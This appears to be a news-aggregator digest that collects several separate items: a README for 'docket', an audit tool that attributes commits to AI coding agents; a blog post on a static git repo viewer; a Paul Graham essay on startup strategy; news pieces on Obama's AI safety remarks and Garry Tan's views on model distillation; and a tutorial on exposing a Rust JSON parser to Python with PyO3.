From source, it is go install github.com/Dillonsmart/docket/cmd/docket@latest . In CI, the action's default version: latest takes the newest release on every run; pin it to a tag if you would rather decide when that happens.

Nothing needs migrating. Records already stored stay readable — each one carries the schema version it was written against — and there is no local state beyond the signing key, which upgrades never touch.

You only need to re-run docket init if the binary lands somewhere new. The hooks call it by absolute path, falling back to whatever docket is on PATH, so an upgrade in place needs nothing; installing to a different directory and deleting the old copy is the case where the recorded path goes stale.

That installs a prepare-commit-msg hook (which writes the trailer — the audited agent never writes its own audit record), a post-commit hook (which stores the record), the refs/docket/* refspec, a local signing key, and the Claude Code hooks that let docket observe edits made through the shell.

From then on, every commit gets one extra line, in the trailer block where Signed-off-by and Reviewed-by live:

    Add the session helper

    The API needs a stable id per session, and the obvious place is here
    rather than in the middleware.

    Reviewed-by: Someone Else <someone@example.com>
    Docket: sha256:db77fdb4b0c1fc6cc7644d3fa2204267e25799d74a6f8f665aff3d32b12c39af

That is the whole footprint in your history. git log --oneline is unchanged, your subject line is untouched, and the digest names a signed record on refs/docket/records rather than a URL — so nothing in the permanent history depends on a service still existing.

Amending rebuilds the record and replaces the trailer, so a commit never points at the content it used to have. A merge gets no trailer, and neither does a commit with nothing attributable in it. Rebases and cherry-picks are the awkward case: git does not run prepare-commit-msg for either, so the trailer travels onto a diff it was not built from — docket verify reports that plainly rather than trusting the trailer.

To stop: delete the two hooks in .git/hooks . Existing trailers stay in the history as inert text.

Use it

docket show HEAD                      # the record for a commit, risk-ordered
docket explain src/auth.js:51         # why does this line exist? (via git blame)
docket review --format md             # the pull request comment
docket verify HEAD                    # digest, signature and commit binding
docket push                           # send the records to the remote
docket doctor                         # what can docket see here, and what can't it
docket gate --commits 20              # measure attribution against real history

For pull requests, the GitHub Action reads the records the commits brought with them and posts one comment, reordering the diff so the hunks nothing can vouch for come first and the well-covered boilerplate is collapsed underneath. It downloads the same binary, so nothing needs installing on the runner either.

Reading someone's reasoning back

The fields that answer why does this code look like this are task , intent and attempt :

  • task — the request this edit descends from, i.e. what the human actually asked for.
  • intent — what the agent said it was doing in the sentence immediately before it made the edit. This is where the reasoning lands, in the agent's own words.
  • attempt — code written into this same region and then taken out again, with the check that failed in between when there was one. The abandoned approaches are the part that is otherwise lost within hours.
$ docket explain database/migrations/0001_01_01_000000_create_players_table.php:54

database/migrations/…:54 was last written by be66f35c5977

  origin      claude-code/main via Edit
  task        Look at the engine plan for this project, challenge any assumptions then start implementing
  intent      Postgres `jsonb` normalises key order, so the replayed response wasn't byte-identical
              to the original. For a stored response we only ever return verbatim, `json` is the
              right column type.
  attempt     Now the schema. Replacing the default `users` table with `players` as the
              authenticatable model. [superseded]

docket explain finds the commit through git blame , so you can start from the code in front of you rather than having to know which commit to look in. docket show <sha> --all --json gives the whole record if you would rather read it as data.

Docket stores short redacted excerpts, not the conversation: enough to reconstruct the decision, never the whole transcript, because whole transcripts carry secrets and grow without bound.


How it works

Attribution. Docket parses the agent transcript into an ordered event stream, replays every recorded edit per file, and carries a provenance vector — one origin per line — forward through subsequent edits. At commit time it aligns the committed file against that replay and resolves each hunk.

A line is attributed only when its text is found at the aligned position and in the recorded output of the edit being credited. Timestamps only order events; they never justify an attribution.

When an edit's recorded pre-image disagrees with the replay — because a shell command, an editor or a person changed the file in between — the disagreement is detected, the affected lines become unknown , and the replay re-seeds from the recorded truth. Carrying a reconstruction past a disagreement is how tools produce confident, wrong answers. An attribution engine that is confidently wrong is worse than no product , so unknown is always an available answer, and it always comes with a reason.

Agents. Docket reads Claude Code, Codex CLI and opencode. Everything downstream — replay, attribution, evidence, the record — is agent-agnostic, so supporting another agent is a reader, not a redesign:

Agent Where its session lives What docket gets from it
Claude Code ~/.claude/projects/**/*.jsonl Edit/Write calls with before and after images, shell commands, prompts, the agent's own narration
Codex CLI ~/.codex/sessions/**/rollout-*.jsonl apply_patch calls, shell commands with exit codes , prompts, narration
opencode ~/.local/share/opencode/opencode.db (needs sqlite3 ) write/edit calls with diffs, shell commands with exit codes , prompts, narration
anything else wire its hooks to docket collect pre / docket collect post and the edits are observed directly

Codex and opencode send patches rather than whole files, so their edits carry no before-image. Docket seeds the replay from the base revision and applies the patch to the content it was actually written against; when that does not fit, it re-seeds and marks what it cannot explain rather than placing the hunk by guesswork.

Observation. Reading the transcript recovers Edit and Write calls. An agent that writes files through the shell — a heredoc, sed -i , a generator, a formatter — leaves nothing there to recover. So docket watches the working tree itself: a PreToolUse hook snapshots content, a PostToolUse hook diffs it, and both images are stored as git blobs. Those edits are marked observed rather than transcript , because docket read them itself.

Evidence. Test runs, type checks and static analysis are correlated with the edits they followed — a check that ran before the code was written is not evidence about it. Coverage reports (istanbul coverage-final.json , lcov) are matched line by line against the hunk, and ignored when the report is older than the code it would otherwise appear to cover.

Density. One number per hunk, between 0 and 1, published in full rather than tuned in private: coverage of these lines is worth at most 0.5, a check that passed after the edit 0.3 (0.35 if this change turned it green), type and static checks 0.1 together, recorded human contact 0.1. If nothing executed the code, the score is capped at 0.15. If nobody can say who wrote it, at 0.5. A locally-claimed record scores 0.9 of what a CI-attested one would.

Those caps are the point. This number will be turned into a target, exactly as coverage was, and a metric you can raise without running anything is worse than no metric.


How well does attribution actually work

Docket measures itself. docket gate replays real sessions against real commits and reports what it could and could not explain:

Session Agent Hunks in files the session edited Added lines Content-verified
A Laravel engine, Edit/Write tools (4 commits, 98 edits) Claude Code 98.1% 99.8% 100%
A Python app, apply_patch (4 commits, 256 edits) Codex CLI 94.7% 95.7% 99.8%
A FastAPI project, 100 edits (uncommitted, measured against the working tree) opencode 92.9%
A PHP framework built largely through the shell (12 commits, 79 edits) Claude Code 59.2% 82.1% 100%

Two things to take from this. Every attribution was verified against the crediting edit's own recorded output — docket did not credit a line to an edit that did not write it. And the last row is why the collector exists: those sessions wrote files with heredocs and sed , which no transcript records, and that work happened before docket could observe it. With docket init in place, those edits are observed directly.

Across whole diffs the headline rate is lower — 40%, 94%, 37% — because real commits also contain composer.lock , scaffolded models and generated code that no agent edit ever touched. Docket reports those as unknown with the commands that ran nearby listed as candidates , never as attributions. That is the honest answer, and it is deliberately not smoothed into the number.

Run it on your own history:


What it is not

  • Not orchestration, task assignment or agent spawning.
  • Not agent-to-agent handoff or provider routing.
  • Not a window you live in. It annotates the review surface you already use.
  • Not a live dashboard.
  • Not something that asks for an account before it does anything.

Privacy

Traces contain raw prompts, file contents and terminal output. So:

  • Everything that reaches a record goes through an aggressive redaction pass: known credential shapes, private keys, JWTs, authorization headers, connection-string credentials, KEY= / SECRET= / PASSWORD= assignments — and, failing closed, any long token whose character distribution looks random.
  • A record stores short redacted excerpts, never whole files or whole prompts.
  • Nothing is sent anywhere. The records live in your repository, and docket push sends them to the git host you already trust.
  • The signing key lives in .git/docket/ and never leaves the machine.

Trust

Tier Meaning
local_claimed Built on a developer machine, signed with a key that machine holds. It is a claim.
ci_attested Built by a runner, signed with a key the developer does not hold. Set DOCKET_SIGNING_KEY in CI.

The distinction is in the schema from day one and is shown everywhere a record is rendered.

The format

The record format is specified separately as the Commit Evidence Record , with a JSON Schema . Docket is its reference implementation. The specification is Apache 2.0 and deliberately boring: it is meant to be implemented by other tools, including ones that compete with this one.

Status

Built and working: attribution, the shell-edit collector, redaction, signed records on an orphan ref, coverage and test correlation, the terminal viewer, explain , the pull request comment, the GitHub Action, and the self-measurement gate.

Not built yet: readers for Gemini CLI and anything ACP-native, coverage correlation beyond istanbul/lcov, GitLab, cross-repository aggregation, policy gates on paths, and the hosted team tier.

Licence

Apache 2.0. See LICENSE and NOTICE .

what if my git host were a static site generator?

Lobsters
char.lt
2026-09-13 12:10:06
Comments...
Original Article

i have been running several personal git forges for, at this point, almost half my life :o i like running my own dev infrastructure, not only because i’m almost always 120ms+ away from us-east-1 , but because sysadmin is just plain fun :3 in 2015 i had a Gogs instance which became a Gitea instance which became a Forgejo instance, and i’ve also deployed GitLab/Forgejo several other times for various groups i’ve been a member of. i like the communal collaborative git forge, and Forgejo is great at this!

but my Forgejo server keeps running out of disk space (from crashing while repacking git repos that haven’t updated) and falling over / OOMing under ambient scraper load. for my needs it’s clear that this is just the wrong size of thing: on the tiny machines i use for personal infrastructure, the software can’t stand up to the internet’s cosmic microwave background radiation.

i also kinda wanna simplify my experience by only exposing features i’ll actually use : Forgejo and its ilk do way more than i need them to: issues, PRs, releases, wikis - a bunch of GitHub feature-compatibility that i don’t care about, and pay some sort of cost for anyway :(

publishing to the open web

the usual antidote prescribed for Forgejo resource exhaustion is to block scrapers via a web application firewall like Anubis , which aims to gate access to the webapp behind a JavaScript proof of work challenge.

but this is counter to, like, the philosophy of the open web, right? the browser, ostensibly the “user agent”, is coerced into user-unfriendly behavior, executing near-useless code that taxes the user’s device (the point of the challenge is to spin!) - were it to refuse, no user-relevant information could be displayed at all. alternative browsers that don’t support JavaScript (or just don’t support JITted JavaScript) are either completely blocked off or locked behind a truly intrusive wait time. this deepens the oligoculture of the modern web, which i think is a bad thing.

additionally, deployment of such a thing is an admission of defeat - we surrender to the assumption that the fronted application does not work correctly when met with real-world internet traffic: isn’t this kind of ridiculous when we have a workload where reads so heavily outnumber writes? serving write-sparse data ought to be super cheap in practice: all of github pages ran on one machine for years!! why not have a git host where everything is static files?

git repo views with minimal server compute

at its core, sorcery is shaped like a static site generator: when it receives an update to a git repo, it will rebuild a bunch of on-disk HTML for that repo - an overview page, the directory tree the tip commit of each branch, and syntax-highlighted source code renderings for each file in the tips. this allows us to pay a fixed upfront cost for serving many future requests, which means we are resilient against scraper load (because a sendfile-and-forget has basically negligible cost). however, since it would be expensive to render out HTML ahead of time for every revision of every file, we choose not to serve static historical views of the repo.

repo history viewing is an integral feature of a git web interface, though, so we serve the .git directory directly, implement a basic read-only git client in JavaScript, and then client-side render all the “rich views” of the repository - the repo site generator does also need to emit some supplementary JSON data to aid the git client, since we can’t reliably list directories in the git repo, but that’s still static!

since browsing around history can mean many fetches to different objects (commits, trees [i.e. repo directory listings], blobs [i.e. file contents]), a high-latency connection can cause direct object fetching and traversal to feel really slow. even moreso when git stores these objects compressed in delta-encoded packfiles: a naïve fetch of a packfile index in linux.git to view the diff of one commit would use over 400MiB of bandwidth!! and smartly scanning ranges would kill cache hit rates and also waterfall out to a bunch of requests that depend on the data in prior requests.

so, as a non-static optimization 1 , we also provide a serverside route to fetch specific git objects by a list of object IDs ( QUERY /<user>/<repo>/obj ), returning a simple binary “git object bundle” format which gets trivially parsed on the client. this alleviates the burden of navigating packfiles on the client. additionally, even for loose object repos, we can still optimize roundtrips by providing “smart fetch” modes which traverse for referenced oids for a given access pattern (e.g. traversing commit history via commit.parent->parent->parent->… , or accessing all blobs in the trees of a pair of commits in order to diff them).

fetching history directly from loose git objects the browser fetches commit C, learns its parent B, fetches B, then learns and fetches A. each consecutive parent lookup requires another round-trip. direct object fetching browser server GET C C → parent B GET B B → parent A GET A A → … 3 commits / 3 round-trips fetching the same history with optional smart fetch the browser requests history starting at A. the server follows parent links locally & returns A, B, and C in one round-trip. smart fetch browser server QUERY …/obj (server follows parents) bundle: A + B + C 3 commits / 1 round-trip

round-trip reduction with the help of the server!

non-features

so sorcery is a “git repo viewer” and not a “git forge” because it omits user accounts, ssh/gpg key management, and issues+patches entirely. in fact, sorcery proper is entirely read-only! repos are only ever written via git over ssh, which is separate to sorcery. you can run sorcery-ssh as your git user’s ssh ForceCommand , and it will provide “autocreate repo on first push” + the ability to edit repo descriptions. the benefit of this setup is that your public deployment is as secure as its sshd, which is reassuring in big 26 :)

historical views do require JavaScript, but i’m not super into blanket js allergy on the web (because unless you live in Ashburn, running UI code on-device is basically always better!) - sorcery uses my own frontend microframework + a bunch of built-in web platform affordances + intentional codesplitting to create a rich clientside experience in a super lightweight manner! e.g. loading a project overview page transfers about 9kb of gzipped JS to support recent commit pagination / language filtering / links through to commit diffs - the largest part of the site ends up being the syntax highlighting grammars; i think i want to try writing a pure-javascript executor for tree-sitter grammars and queries so that we can shed some of the WASM weight (especially from the code that gets repackaged in each highlight language’s WASM bundle).

so, yeah

i still like the communal git forge!! for my personal projects, i mostly just want somewhere to push code that i can browse from my phone / link to people: i don’t need collaborative features, and it’s much more lightweight this way. reading my code should never involve a ceremony of proof to the server that you’re worthy of receiving hypertext.

a commit diff in sorcery

in the near-term i want to add support for CI annotations (which i am opinionated about, and will talk about in a future blog post!! smash that RSS button) & maybe in the future i’ll extend the repo viewer into a discrete, more batteries-included forge project that i can use with my friends (once we really distill down to what’s most important to us and what is superfluous…)

anyway, check it out!

Making Startups Powerful

Hacker News
www.paulgraham.com
2026-09-13 11:51:47
Comments...
Original Article
Making Startups Powerful September 2026

One of the most useful heuristics I have when doing office hours with startups is to ask: what would make this company more powerful? Asking how the company could make more money is a good heuristic too, but it tends to yield incremental improvements. Whereas thinking about how to make it more powerful will sometimes make it orders of magnitude more valuable.

There are a lot of different variants of this question, depending on the type of company. Is there a way to transform the company from a mere component supplier into the one that owns the relationship with the customer? Or the related question: is there a way to make the money flow through it? It's always good when money flows through you.

[ 1 ]

Is there a way to create something akin to an app store, where other companies can build upon your product? Then all their efforts to create valuable things make you more valuable too. Ideally this is combined with owning the customer relationship and making the money flow through you.

[ 2 ]

Network effects make companies more powerful, and I almost always think about how to introduce them. I treat it as a kind of challenge to see if there's a way to get network effects even in things you wouldn't expect to have them.

[ 3 ] It's surprising how often it can be done. And when it can, this sometimes transforms the idea completely; what had been a service is now a marketplace. The deluxe version is full app store, but if there's no more direct way to do it, you can often induce network effects by letting your users share something. For example, if you opt in, we'll tell you how you're doing compared to other users. The obvious AI variant is to let your users opt in to training your model on their interactions with it. Many will resist that, but if some don't, the model they get to use will outperform the vanilla one used by the others.

Often you can induce network effects by generalizing the idea, which makes the startup doubly more powerful. For example, if I were talking to a startup building a way for agents to pay for things, the first question I'd ask is whether the agents could also pay one another. If they can do that, you become a marketplace. And being a marketplace is so valuable that if it wasn't immediately obvious what agents could pay one another for, it would be worth spending a lot of time trying to think of something. If you could, it might be worth tilting the whole company toward that, and if necessary even becoming a market maker to get it rolling.

These hypothetical transformations of the original idea don't always yield anything promising. Far from it. But they're always worth considering; if nothing else, trying to transform an idea helps you understand it better.

There are certain kinds of thinking where ideas start to seem almost physical. Most programmers have probably experienced it. Manipulating startup ideas feels this way too. One transformation that feels especially physical is the strategy of going full stack: instead of selling your technology to companies doing x, you use the technology yourself to do x in competition with them. You can almost see the idea stretch as it engulfs what had been the customer. And now that you own the outside surface, the shape of that probably changes too.

There's a variant of going full stack where you eat your way gradually through the customer by doing all their hardest work for them. In the limit case, you're doing all the brainwork and they're just running errands for you. At which point, as in the full stack case, the real customer is their customer; the initial customer is now just a kind of hand puppet.

Another thing I'm always looking for is tails that could wag the dog. The history of startups is full of these. Paypal started out doing security for hand-held devices. They created Paypal as a demo of their security software. But then eBay sellers started using it to take payments, and after a couple months the founders acknowledged that this was the business they were now in, even though they hadn't meant to be. So whenever founders build something peripheral to the main product I always ask: could this be the real product?

It's exciting when you notice users "misusing" your product to do something you hadn't intended. This means there's something they want so desperately that they'll not only use any solution you offer, but even use things that aren't meant to be solutions. When you see something like that, don't be annoyed that your users are using your product wrong; listen for the message they're sending, because it could be valuable.

The reason Paypal grew so fast was that it helped users make money. Few things make you more powerful than that. When you help users make money, they're (a) quick to adopt your product and (b) will pay a lot for it. So your revenues grow doubly fast. Most of the most successful companies we've funded help their users to make money, as does YC itself.

Playing the long game makes you more powerful, because most other people you encounter won't be. Most startups competing with you will be run by opportunists hoping to be acquired. Most big companies you deal with will be run by executives who don't expect to be there for more than a few years and are only thinking about this quarter's numbers. So tradeoffs that only pay off in 10 years will usually be underpriced. The classic one is to offer great terms in order to acquire users. I generally advise startups to sell as cheaply as they need to at first; get all the users, then worry about your margins. But there are usually also deeper, structural ways to play the long game.

[ 4 ]

Being generous makes you more powerful. As Tim O'Reilly said, you should create more value than you capture. Many hard-headed business types would write this off as idealistic hippy stuff, but in fact this is the route to becoming really rich. Squeezing every last penny out of customers is a distraction. It gets you 2x returns at most. Whereas discovering some new thing you could make for them could easily get you 10x or 100x returns. They're two different ways of looking at the world, and the O'Reilly way makes more, for those who can do it.

[ 5 ]

The classic example of generosity leading to power is when companies open source their software. They literally give away the product, but by giving it away they both make it a standard and make users trust it more. That makes it spread, and in the end they end up with a small piece of a much, much bigger pie.

If you don't want to go full open source, you can get some of the benefits by making your product extensible. One end of that continuum is the app store, but if you don't restrict or charge for extensions you may ultimately end up with a bigger ecosystem.

[ 6 ]

The ultimate in extensibility is to let your product be called via an API. Many companies shrink from that because they dislike the loss of control that comes with it. They want their software to be used only in the way they intended. There may be some specialized domains where you want to be rigid about this, but I suspect it's usually a mistake. Especially now that agents are replacing human users. Who knows what they'll want to do? So err on the side of having APIs. Especially when you're a larval startup and have nothing to lose.

Strangely enough, selling to earlier stage companies makes you more powerful. Founders are often surprised by this, because the earlier you sell to startups, the less money they have. But if you get them as customers at the very beginning and you charge based on usage, your revenues will grow at startup rates.

This is why Stripe makes a point of signing up companies at the first possible moment. With payments infrastructure, if it ain't broke, you don't fix it, and since Stripe ain't broke, companies that install it never churn. And selling to early stage startups is so straightforward. The founders are sophisticated and decide quickly. If you have the best product, you win. Whereas if you're making something you can't sell to companies till they have 500 people, you're in a much weaker position. Now you're doing enterprise sales, which takes forever and is notoriously not a domain where the best product wins.

When I ask a startup how big a customer has to be before they'll buy their product, I always hope the number will be low. And if it's not, I always ask if there's some way to tweak the product so they can sell it earlier. The ideal is something they can

Collison-install right now for their batchmates. [ 7 ]

More generally, having customers who decide fast makes you powerful. Not just because of the speed, but because customers who decide fast tend to decide based on how good you are. Startups usually make the best stuff (if you were both small and mediocre, how could you even survive?) and when customers decide fast, making the best stuff leads straight to making the most money. Whereas selling to customers like hospitals and school districts is like walking through mud. Whenever I meet a startup selling to customers like that, I ask if there's some way they could at least start by selling to a subset of the market that decides faster.

[ 8 ]

There's a strategy similar to getting the customers early, which is to get the data early. Rippling used this technique brilliantly. Their goal was always to be both the operating system for applications dealing with employee data and most of the applications running on it. They didn't know exactly what this would look like; it would have to evolve; so they started by writing onboarding software, because that's where the life of employee data begins. And since there was more at stake for them than just the onboarding software market, their onboarding software was way better than it needed to be, and spread rapidly.

Upstream is almost always good, whether it's with money or user relationship or customer stage or data.

Since startups make the best stuff, they're strongest on level playing fields. They're weakest in markets dominated by companies you'd describe as mafia. Record labels are mafia. PBMs are mafia. In these worlds you don't win by having the best product. Indeed you may only even exist for as long as the mafia chooses to allow you to. Which is not to say they can't be defeated. They probably can be, but you'd have to do it by coming in from the side — by somehow making them irrelevant, rather than by frontal attack. Then you wouldn't depend on beating them to succeed; it would be an ancillary benefit of winning in another dimension.

[ 9 ]

Often what you're doing when you explore ways to make a company more powerful is finding ways not to be held back by other companies. If you're a component supplier and have to live in a (sometimes literal) box created by another company, you can escape that if you can find a way to own the customer relationship. If you're selling to companies that are big and bureaucratic, you can escape that by selling to them when they're smaller and decide faster, or by using your technology yourselves to compete with them. This pattern is so common that you can use it as a heuristic for generating ways to make an idea bigger. In what ways is the current idea being held back by other companies?

Often as not, though, startups are being held back by themselves. A surprising percentage of the advice I give to startups has the word "just" in it. You don't need to x. Just y. One way startups' ideas get twisted into knots is by evolving from something else; there's now a part they don't need, and they don't realize it yet. But with very early stage startups especially, the reason the idea is complicated is often fear. The company is unconsciously cowering by doing something less ambitious than they could. Just y is often, in effect, just stand up straight . And when they do they're much taller.

But all these strategies for making startups more powerful have one thing in common — or more precisely, have to obey one constraint. They all have to make things better for the customer. You can't add network effects or make the money flow through you or go full stack just because you'd like to. You can only do these things when the result is better for the customer. Otherwise you won't have any uptake.

These are strategies for making startups powerful in the long term, but startups that execute them don't usually have any power at the point when they do. And indeed this initial weakness of startups is why, on the whole, they're good for the world. Newly founded startups are too weak to force anything on anyone. The only way they can become powerful is to make customers' lives better. In fact this constraint is so rigid that you can run it backwards to generate ideas. What would the perfect world look like, from the customer's point of view? If there's a component of that world that the startup could transform itself into, it probably should.

Notes

[

1 ] You can also make tokens flow through you, and this usually means that money flows through you too, since the tokens have to be paid for. In theory this puts you in a powerful position. You own the customer relationship, and the model companies are in effect component suppliers. The question is how easy it would be for them to engulf you, or even your customers.

[

2 ] If you can't create an app store, can you at least define the standard for how different companies' products interact? In a new field there's often no standard yet. But don't worry that you're too small to propose one. If you're one of the first in the field, you presumably have as good ideas as anyone about what such a standard should look like. And everyone is so hungry for standards that the first to be proposed tends to win, no matter who proposed it.

[

3 ] YC itself is an instance of network effects in something you wouldn't expect to have them. We didn't intend it to be, but we realized very quickly that that was what we'd stumbled upon.

[

4 ] There are even times when it's worthwhile to sell at a loss. But be careful when you do this, because if you give away too much, you lose the signal that customers send by paying you. If your product is a $10 bill that you sell for $5, your growth rate isn't telling you anything useful.

[

5 ] The O'Reilly way of looking at the world is more common among founders. When companies switch from making new products to squeezing more profit out of existing ones, it's often because control has passed from the founders to hired managers.

Partly this is because only founders tend to have the inclination or the ability to create new things. But it's also because founders have experienced weakness. Hired CEOS take the power of the companies they run for granted, whereas founders remember the days when the company was so weak that it had to delight users to survive.

[

6 ] Perhaps flexibility in this department will be the key to finally displacing Apple. One thing you can be sure of is that they'll be restrictive about hardware and software that integrates with theirs.

[

7 ] If you switch from asking "What size customers should we target?" to "At what point in their life should we acquire customers?" it becomes clear that targeting bigger companies is just targeting a given company later. As long as you're confident that customers won't churn, why not lock them in early? Why do slow, brittle enterprise sales when you could just sell to early stage startups and then grow with them? This kind of situation is exactly why YC emphasizes growth rate rather than absolute numbers. If your growth rate is good enough, the absolute numbers will take care of themselves. And the way to get the fastest growth rate is to sell to the customers who grow the fastest and decide the fastest.

This way of looking at the world comes naturally when you're playing the long game. If you think in quarters, it seems like potential customers have fixed sizes. If you think in decades, you can see they have trajectories.

[

8 ] In a normal industry, customers who are slow to adopt new technology represent an opportunity for startups. The slower they are, the more likely you can win by going full stack. What makes selling to hospitals and school districts so grim is that you generally can't — though there are some opportunities to go around schools and go directly to serving students.

[

9 ] Apparently one thing record labels and PBMs have in common is that they're full of lawyers. So this is presumably a way to recognize such companies. Thanks to Sam Altman, Patrick Collison, Diana Hu, Pete Koomen, Jessica Livingston, and Harj Taggar for reading drafts of this, and to Diana for reminding me about token flow.

Obama reportedly urges Democrats to prioritize safety plan for AI

Guardian
www.theguardian.com
2026-09-13 11:47:37
Ex-president urged party at closed-door fundraiser to create sweeping framework, from safety ‘slow-down’ to job losses Barack Obama urged Democrats to prioritize a “public conversation” about AI management and safety in a closed-door Manhattan fundraiser last week. The comments by the former US pres...
Original Article

Barack Obama urged Democrats to prioritize a “public conversation” about AI management and safety in a closed-door Manhattan fundraiser last week.

The comments by the former US president reportedly urged the party to create a sweeping framework for everything from a safety “slow-down” to domestic job losses and children’s wellbeing.

Obama’s comments follow a summer in which a band of rogue OpenAI chatbots hacked the company Hugging Face, towns across the country opposed datacenters and an AI researcher resigned in a viral social media post warning: “The people building AI earnestly believe that it could kill us all by the end of the decade.”

AI leaders have recently expressed agreement that the race for technological superiority should slow, but have also sought to appease investors, whose stake in the technology is predicted to exceed $1tn in 2026 alone .

“Once you are speaker,” Obama said to US House minority leader Hakeem Jeffries, a New York-Democrat, at the fundraiser Thursday. “I would strongly urge that the Democrats put together a framework for a very public conversation,” according to a transcript first reported by the New York Times .

“This is something that is moving very fast in private hands, and if we don’t get on top of it, I think can be dangerous,” Obama said. “If we do get on top of it, I do think it’s beneficial. I genuinely think it’s going to accelerate, for example, drug development in ways that can help us cure diseases. I do think that this can help us figure out pathways for a clean energy future.”

Obama later added: “I would talk about this, and I would say, ‘Here’s our plan for safety. Here’s our plan for making sure our kids are not corrupted by this,’” he said according to the Times.

Obama made the remarks as the US closes in on the midterm elections and Congress has taken little action on AI. While prominent Democratic lawmakers, and some Republicans, have called to regulate the technology, Trump has attempted to aid the AI industry by introducing legislation that would ban state regulations (the bill did not move forward). Democrats face an open presidential field in 2028.

One major flashpoint for the midterm elections is datacenters that power AI companies. Both parties have since begun running ads that oppose them, as one of the few issues, “Maga Republicans and liberal Democrats” agree on, according to an NPR analysis .

On Sunday, while on a trip to his Irish golf course , Trump told reporters that a lot of “very negative forces” are ⁠bringing up concerns ⁠about ​AI that “won’t happen”, and that his main concern was that the US remain the industry leader, according to Reuters.

“We’re leading China ​in AI. ‌We’re the ‌most sophisticated country in the world, ‌and frankly I want to keep it that way because whoever wins AI wins,” Trump told reporters when asked if ‌the AI industry should slow down or be ​more regulated.

In the past, Trump has said on social media that anyone who opposes AI datacenters is likely “backwards and poor”.

“The only reason that communities throughout the U.S.A. should not want Data Centers is if they want to end up being backwards and poor. If they want to be successful and rich, with far lower taxes and jobs all over the place, let Data Reign,” he said on TruthSocial two weeks ago .

Garry Tan wants US open-weight AI labs to 'distill' frontier models, too

Hacker News
techcrunch.com
2026-09-13 11:44:38
Comments...
Original Article

When it comes to Chinese AI labs using distillation techniques to extract knowledge from frontier model makers, Y Combinator CEO Garry Tan is hoping regulators stay out of it. In fact, he thinks U.S. AI labs should perhaps play the same game.

“I would do nothing,” he told CNBC in an interview earlier this week . “We could argue that there should be an American distillation regime.”

He elaborated to TechCrunch that this means he wants smaller, American open-weight AI labs to use the same kind of training techniques on American frontier AI labs, giving the U.S. a more robust set of open-weight options that aren’t Chinese.

Distillation is when a model maker extensively prompts another model in order to learn how it works and reasons. It is commonly, and legitimately, used by AI labs to help train new models.

Anthropic this week released its second report alleging that Chinese labs are engaged in “illicit distillation attacks,” hiding their identities to distill without permission and relying on fraud and stolen credentials to do so. Anthropic CEO Dario Amodei had previously publicly called on U.S. regulators to crack down on distillation.

It’s notable that the commander of Silicon Valley’s prestigious and prolific startup accelerator doesn’t agree.

To be clear, Tan isn’t advocating for American AI labs to use stolen credentials to distill. He wants them to be free to come in the front door. In fact, his argument is twofold. He feels it’s an overreach for AI labs to dictate what their customers can do with the information their models share with them.

He also notes that the proprietary AI labs didn’t ask permission when they vacuumed up as much human knowledge as they could to train their models. They famously ingested plenty of copyrighted material without the permission of those intellectual property holders .

“Controlling what users and customers do with API calls to closed weight models feels constraining, and there’s a role government can play here to normalize the fact that access to intelligence that was trained on broad public access data should itself also be more a form of a public good than something locked away behind restrictive terms of service,” he told TechCrunch when asked why American labs should be free to distill, too.

Tan, who is himself such an avid AI user that he once described himself as having cyber psychosis , wants to see a balance between open-weight AI labs and frontier labs.

“They are at the frontier and driving it forward. We want that to be fundable, and be a great business model ongoing,” he told CNBC. “You want open weight models to give people freedom and access.”

To him, the true AI doomer scenario is for all the immense power of frontier AI to wind up in the hands of a single powerful, proprietary provider. “The nightmare scenario, the doomer scenario for AI is that there’s just one company,” he said. “It has the best access to capital. It has the best AI researchers. It runs away with it and suddenly there’s one company that’s monolithic. And that would be bad.”

When you purchase through links in our articles, we may earn a small commission . This doesn’t affect our editorial independence.

Libraries Run Rust Inside Python (With PyO3)

Hacker News
belderbos.dev
2026-09-13 11:24:05
Comments...
Original Article

Every time you validate data with Pydantic v2, the data-validation library most Python apps reach for, a Rust extension does the work. Its core, pydantic-core, is built with PyO3, the same toolchain we'll use here.

This post builds that same kind of bridge, small enough to read in one sitting: a JSON parser written in Rust, exposed to Python, so you can import it like any other package. The last step, turning the Rust result into Python objects, is the one to understand before you port anything: for a parser like this, it can cost more than the parsing itself.

The four steps from Rust to import

Getting Rust code into Python takes four steps:

  1. Write a normal Rust module.
  2. Annotate it with PyO3 macros.
  3. Let maturin compile and install it.
  4. Import the result.

Rust in Python: write a Rust module, annotate it with PyO3 macros, build it with maturin, import the shared library

#[pyfunction] and #[pymodule] are the two Rust macros that do the wiring. A Rust attribute macro is close to a Python decorator: it rewrites the function it sits on, here adding the glue that lets Python call it and handles the type conversions and reference counting at the boundary.

Maturin then compiles the crate to a shared library (.so, .dylib, .dll) and drops it into your virtual environment, so import just works. I walk through this whole setup, from cargo new to the first import, in How to run Rust in Python with PyO3 and Maturin .

That first tutorial returns a single number. This one picks up where it left off, because the interesting part starts once you return a structure instead of a scalar.

The parser produces a Rust value first

The structure this parser returns is a JSON tree, and it's the running example for the rest of this post. In our Python to Rust cohort , students spend six weeks writing a JSON parser from scratch in Rust, a hand-rolled tokenizer and recursive-descent parser with no serde, then expose it to Python through PyO3. Josh's version beat CPython's C json module on real-world fixtures; Jochen's ran up to 3.5x faster than the Python version.

The public reference implementation , the clean version students start from, is the code I'll walk through here.

The parser produces a plain Rust enum. A Rust enum holds one of several shapes, and each variant can carry data, so it maps a JSON tree cleanly:

pub enum JsonValue {
    Null,
    Boolean(bool),
    Number(f64),
    String(String),
    Array(Vec<JsonValue>),
    Object(HashMap<String, JsonValue>),
}

That tree lives entirely in Rust. Python never sees it. The PyO3 layer is a thin adapter on top.

Exposing one function

Exposing a function to Python takes two lines:

#[pyfunction]
fn parse_json<'py>(py: Python<'py>, input: &str) -> PyResult<Bound<'py, PyAny>> {
    parse(input)?.into_pyobject(py)
}

For a Python reader, the signature is the most interesting part:

  • py: Python<'py> is a token representing access to the Python interpreter and is what you pass to PyO3 APIs that need access to Python objects. On traditional Python builds, this access is associated with holding the GIL. PyO3 hands it to you and you pass it along wherever you touch a Python object.
  • Bound<'py, PyAny> is a handle to a Python object of any type, the Rust side of what you'd think of as a PyObject.
  • PyResult<T> is Result<T, PyErr>: return the value, or an error PyO3 raises as a Python exception.
  • ? propagates that error. If parse fails, the function returns early and Python sees an exception; otherwise it unwraps the JsonValue and moves on.

So parse(input)? does the real work, and .into_pyobject(py) builds the Python objects the caller asked for. That last call is where the cost lives: it has to create Python objects for the nodes in the tree, and on a large document that can add up to more work than the parse itself.

The return trip is the expensive part

